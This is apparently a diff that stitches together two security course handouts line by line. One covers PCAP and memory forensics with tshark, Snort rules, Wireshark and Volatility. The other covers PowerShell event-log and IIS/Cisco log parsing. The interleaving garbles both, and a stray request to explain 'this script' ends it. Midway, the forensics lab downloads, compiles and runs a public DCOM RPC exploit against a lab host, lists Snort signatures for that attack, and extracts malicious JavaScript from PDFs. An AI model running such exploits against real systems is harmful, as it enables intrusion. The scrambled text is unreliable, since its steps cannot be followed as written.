-tshark -r suspicious-time.pcap -R http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}'
+
 
-tshark -r suspicious-time.pcap -R http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' -e google -e 'honeynet.org'
+Get-Member is another extremely useful cmdlet that will enumerate the available methods and properties of an object. You can pipe the object to Get-Member or pass it in
 
-tshark -r suspicious-time.pcap -qz http_req,tree
+$serv | Get-Member
 
-tshark -r suspicious-time.pcap -R "data-text-lines contains \"<script\"" -T fields -e frame.number -e ip.src -e ip.dst
+Get-Member -InputObject $serv
 
-tshark -r suspicious-time.pcap -R http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico'  | grep 10.0.3.15 | sed -e 's/\?[^cse].*/\?\.\.\./g'
+
 
 
 
-######################################
+Let’s use a method and a property with our object.
-# PCAP Analysis with forensicPCAP.py #
+
-######################################
+$serv.Status
----------------------------Type This-----------------------------------
+$serv.Stop()
-cd ~/Desktop/suspiciouspcap/
+$serv.Refresh()
 $serv.Status
-wget https://raw.githubusercontent.com/madpowah/ForensicPCAP/master/forensicPCAP.py
+$serv.Start()
 $serv.Refresh()
-sudo pip install cmd2==0.7.9
+$serv.Status
 
 
-python forensicPCAP.py suspicious-time.pcap
+
-------------------------------------------------------------------------
+
 Methods can return properties and properties can have sub properties. You can chain them together by appending them to the first call.
 
----------------------------Type This-----------------------------------
+
-ForPCAP >>> help
+
-------------------------------------------------------------------------
+
 # Simple Event Log Analysis #
-Prints stats about PCAP
+
----------------------------Type This-----------------------------------
+
-ForPCAP >>> stat
+Step 1: Dump the event logs
-------------------------------------------------------------------------
+---------------------------
 The first thing to do is to dump them into a format that facilitates later processing with Windows PowerShell.
-Prints all DNS requests from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.
+
----------------------------Type This-----------------------------------
+To dump the event log, you can use the Get-EventLog and the Exportto-Clixml cmdlets if you are working with a traditional event log such as the Security, Application, or System event logs.
-ForPCAP >>> dns
+If you need to work with one of the trace logs, use the Get-WinEvent and the ExportTo-Clixml cmdlets.
 
-ForPCAP >>> show
+Get-EventLog -LogName application | Export-Clixml Applog.xml
-------------------------------------------------------------------------
+
 type .\Applog.xml
-Prints all destination ports from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.
+
----------------------------Type This-----------------------------------
+$logs = "system","application","security"
-ForPCAP >>> dstports
+
 The % symbol is an alias for the Foreach-Object cmdlet. It is often used when working interactively from the Windows PowerShell console
-ForPCAP >>> show
+
----------------------------Type This-----------------------------------
+$logs | % { get-eventlog -LogName $_ | Export-Clixml "$_.xml" }
 
-Prints the number of ip source and store them.
+
----------------------------Type This-----------------------------------
+
-ForPCAP >>> ipsrc
+Step 2: Import the event log of interest
 ----------------------------------------
-ForPCAP >>> show
+To parse the event logs, use the Import-Clixml cmdlet to read the stored XML files.
-------------------------------------------------------------------------
+Store the results in a variable.
 Let's take a look at the commandlets Where-Object, Group-Object, and Select-Object.
-Prints the number of web's requests and store them
+
-ForPCAP >>> web
+The following two commands first read the exported security log contents into a variable named $seclog, and then the five oldest entries are obtained.
 
-ForPCAP >>> show
+$seclog = Import-Clixml security.xml
-------------------------------------------------------------------------
+
 $seclog | select -Last 5
 
-Prints the number of mail's requests and store them
+
----------------------------Type This-----------------------------------
+Cool trick from one of our students named Adam. This command allows you to look at the logs for the last 24 hours:
-ForPCAP >>> mail
+
 Get-EventLog Application -After (Get-Date).AddDays(-1)
-ForPCAP >>> show
+
-------------------------------------------------------------------------
+You can use '-after' and '-before' to filter date ranges
 
 One thing you must keep in mind is that once you export the security log to XML, it is no longer protected by anything more than the NFTS and share permissions that are assigned to the location where you store everything.
 By default, an ordinary user does not have permission to read the security log.
 
 
 Step 3: Drill into a specific entry
-# Understanding Snort rules #
+
 To view the entire contents of a specific event log entry, choose that entry, send the results to the Format-List cmdlet, and choose all of the properties.
-Field 1: Action - Snort can process events in 1 of 3 ways (alert, log, drop)
+
 
-Field 2: Protocol - Snort understands a few types of traffic (tcp, udp, icmp)
+$seclog | select -first 1 | fl *
 
-Field 3: Source IP (can be a variable like $External_Net, or an IP, or a range)
+The message property contains the SID, account name, user domain, and privileges that are assigned for the new login.
 
-Field 4: Source Port (can be a variable like $WebServer_Ports, or a port number, or a range of ports)
+
 ($seclog | select -first 1).message
-Field 5: Traffic Direction (->)
+
 (($seclog | select -first 1).message).gettype()
-Field 6: Destination IP (can be a variable like $External_Net, or an IP, or a range)
+
 
-Field 7: Destination Port (can be a variable like $WebServer_Ports, or a port number, or a range of ports)
+
 In the *nix world you often want a count of something (wc -l).
-Field 8: MSG - what is actually displayed on the analysts machine
+How often is the SeSecurityPrivilege privilege mentioned in the message property?
 To obtain this information, pipe the contents of the security log to a Where-Object to filter the events, and then send the results to the Measure-Object cmdlet to determine the number of events:
 
-Let's look at 2 simple rules
+$seclog | ? { $_.message -match 'SeSecurityPrivilege'} | measure
-----------------------------------------------------------------------------------
+
-alert tcp $EXTERNAL_NET any -> $HOME_NET 135 (msg:”NETBIOS DCERPC ISystemActivator \
+If you want to ensure that only event log entries return that contain SeSecurityPrivilege in their text, use Group-Object to gather the matches by the EventID property.
-bind attempt”; flow:to_server,established; content:”|05|”; distance:0; within:1; \
+
-content:”|0b|”; distance:1; within:1; byte_test:1,&,1,0,relative; content:”|A0 01 00 \
+
-00 00 00 00 00 C0 00 00 00 00 00 00 46|”; distance:29; within:16; \
+$seclog | ? { $_.message -match 'SeSecurityPrivilege'} | group eventid
-reference:cve,CAN-2003-0352; classtype:attempted-admin; sid:2192; rev:1;)
+
 Because importing the event log into a variable from the stored XML results in a collection of event log entries, it means that the count property is also present.
-alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:”NETBIOS SMB DCERPC ISystemActivator bind \
+Use the count property to determine the total number of entries in the event log.
-attempt”; flow:to_server,established; content:”|FF|SMB|25|”; nocase; offset:4; \
+
-depth:5; content:”|26 00|”; distance:56; within:2; content:”|5c \
+$seclog.Count
-00|P|00|I|00|P|00|E|00 5c 00|”; nocase; distance:5; within:12; content:”|05|”; \
+
-distance:0; within:1; content:”|0b|”; distance:1; within:1; \
+
-byte_test:1,&,1,0,relative; content:”|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00 \
+
-46|”; distance:29; within:16; reference:cve,CAN-2003-0352; classtype:attempted-admin; \
+
-sid:2193; rev:1;)
+
-----------------------------------------------------------------------------------
+
 ############################
 # Simple Log File Analysis #
 ############################
-From your Linux machine ping your Windows machine
+
----------------------------Type This-----------------------------------
+
-ping 192.168.150.1
+You'll need to create the directory c:\ps and download sample iss log http://pastebin.com/raw.php?i=LBn64cyA
------------------------------------------------------------------------
+
 
 mkdir c:\ps
-Start wireshark and let's create some simple filters:
+cd c:\ps
 (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=LBn64cyA", "c:\ps\u_ex1104.log")
-Filter 1:
+
----------------------------Type This-----------------------------------
+
-ip.addr==192.168.150.1
+
------------------------------------------------------------------------
+
 
-Filter 2:
+
----------------------------Type This-----------------------------------
+
-ip.addr==192.168.150.1 && icmp
+
------------------------------------------------------------------------
+###############################################
 # Intrusion Analysis Using Windows PowerShell #
 ###############################################
-Filter 3:
+
----------------------------Type This-----------------------------------
+Download sample file http://pastebin.com/raw.php?i=ysnhXxTV into the c:\ps directory
-ip.addr==192.168.150.1 && !(tcp.port==22)
+
------------------------------------------------------------------------
+
-Now stop your capture and restart it (make sure you keep the filter)
+
 
 
 (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=ysnhXxTV", "c:\ps\CiscoLogFileExamples.txt")
 
-Back to your Linux machine:
+Select-String 192.168.208.63 .\CiscoLogFileExamples.txt
-[ CTRL-C ] - to stop your ping
+
----------------------------Type This-----------------------------------
+
-wget http://downloads.securityfocus.com/vulnerabilities/exploits/oc192-dcom.c
+
 
 The Select-String cmdlet searches for text and text patterns in input strings and files. You can use it like Grep in UNIX and Findstr in Windows.
-gcc -o exploit oc192-dcom.c
+
 Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line
-./exploit
+
 
 
-./exploit -d 192.168.150.1 -t 0
+
- -----------------------------------------------------------------------
+To see how many connections are made when analyzing a single host, the output from that can be piped to another command: Measure-Object.
 
 Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line | Measure-Object
 
-Now go back to WireShark and stop the capture.
+
 
 To select all IP addresses in the file expand the matches property, select the value, get unique values and measure the output.
 
 Select-String “\b(?:\d{1,3}\.){3}\d{1,3}\b” .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique | Measure-Object
-###################
+
-# Memory Analysis #
+
-###################
+
----------------------------Type This-----------------------------------
+Removing Measure-Object shows all the individual IPs instead of just the count of the IP addresses. The Measure-Object command counts the IP addresses.
-cd  ~/Desktop/
+
 Select-String “\b(?:\d{1,3}\.){3}\d{1,3}\b” .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique
-sudo apt-get install -y foremost tcpxtract
+
 
-wget https://s3.amazonaws.com/infosecaddictsfiles/hn_forensics.vmem
+In order to determine which IP addresses have the most communication the last commands are removed to determine the value of the matches. Then the group command is issued on the piped output to group all the IP addresses (value), and then sort the objects by using the alias for Sort-Object: sort count –des.
 This sorts the IP addresses in a descending pattern as well as count and deliver the output to the shell.
-git clone https://github.com/volatilityfoundation/volatility.git
+
 Select-String “\b(?:\d{1,3}\.){3}\d{1,3}\b” .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select value | group value | sort count -des
-cd volatility
+
-sudo pip install distorm3
+
-sudo python setup.py install
+
-python vol.py -h
+
-python vol.py pslist -f ~/Desktop/hn_forensics.vmem
+This will get the setting for logs in the windows firewall which should be enabled in GPO policy for analysis.
-python vol.py connscan -f ~/Desktop/hn_forensics.vmem
+The command shows that the Firewall log is at:
-mkdir dump/
+%systemroot%\system32\LogFiles\Firewall\pfirewall.log, in order to open the file PowerShell will need to be run with administrative privileges.
-mkdir -p output/pdf/
+
-python vol.py -f ~/Desktop/hn_forensics.vmem memdmp -p 888 -D dump/
+
-python vol.py -f ~/Desktop/hn_forensics.vmem memdmp -p 1752 -D dump/
+First step is to get the above command into a variable using script logic.
-				***Takes a few min***
+Thankfully PowerShell has a built-in integrated scripting environment, PowerShell.ise.
-strings 1752.dmp | grep "^http://" | sort | uniq
+
-strings 1752.dmp | grep "Ahttps://" | uniq -u
+netsh advfirewall show allprofiles | Select-String FileName | select -ExpandProperty line | Select-String “%systemroot%.+\.log" | select -ExpandProperty matches | select -ExpandProperty value | sort –uniq
-cd ..
+
-foremost -i ~/Desktop/volatility/dump/1752.dmp -t pdf -o output/pdf/
+
-cd ~/Desktop/volatility/output/pdf/
+##############################################
-cat audit.txt
+# Parsing Log files using windows PowerShell #
-cd pdf
+##############################################
 
-grep -i javascript *.pdf
+Download the sample IIS log http://pastebin.com/LBn64cyA
 
 
 (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=LBn64cyA", "c:\ps\u_ex1104.log")
-cd ~/Desktop/volatility/output/pdf/
+
-wget http://didierstevens.com/files/software/pdf-parser_V0_6_4.zip
+Get-Content ".\*log" | ? { ($_ | Select-String "WebDAV")}
-unzip pdf-parser_V0_6_4.zip
+
-python pdf-parser.py -s javascript --raw pdf/00601560.pdf
+
-python pdf-parser.py --object 11 00600328.pdf
+
-python pdf-parser.py --object 1054 --raw --filter 00601560.pdf > malicious.js
+The above command would give us all the WebDAV requests.
 
-cat malicious.js
+To filter this to a particular user name, use the below command:
- -----------------------------------------------------------------------
+
 Get-Content ".\*log" | ? { ($_ | Select-String "WebDAV") -and ($_ | Select-String "OPTIONS")}
 
 
 
-*****Sorry - no time to cover javascript de-obfuscation today*****
+Some more options that will be more commonly required :
 
 For Outlook Web Access : Replace WebDAV with OWA
 
 For EAS : Replace WebDAV with Microsoft-server-activesync
----------------------------Type This-----------------------------------
+
-cd ~/Desktop/volatility
+For ECP : Replace WebDAV with ECP
-mkdir files2/
+
-python vol.py -f ~/Desktop/hn_forensics.vmem dumpfiles -D files2/
+
-python vol.py hivescan -f ~/Desktop/hn_forensics.vmem
+
-python vol.py printkey -o 0xe1526748 -f ~/Desktop/hn_forensics.vmem Microsoft "Windows NT" CurrentVersion Winlogon
+To find out the count of the EWS request we can go ahead and run the below command
------------------------------------------------------------------------
+
 (Get-Content ".\*log" | ? { ($_ | Select-String "WebDAV") -and ($_ | Select-String "Useralias")}).count
 
-                            ######################
+
------------ ############### # Intro to Reversing # ############### -----------
+
-                            ######################
+
-Lab walk-through documents are in the zip file along with the executables that need to be reversed:
+
-https://s3.amazonaws.com/infosecaddictsfiles/Lena151.zip
+
 
 
 
 Explain to me how this script works.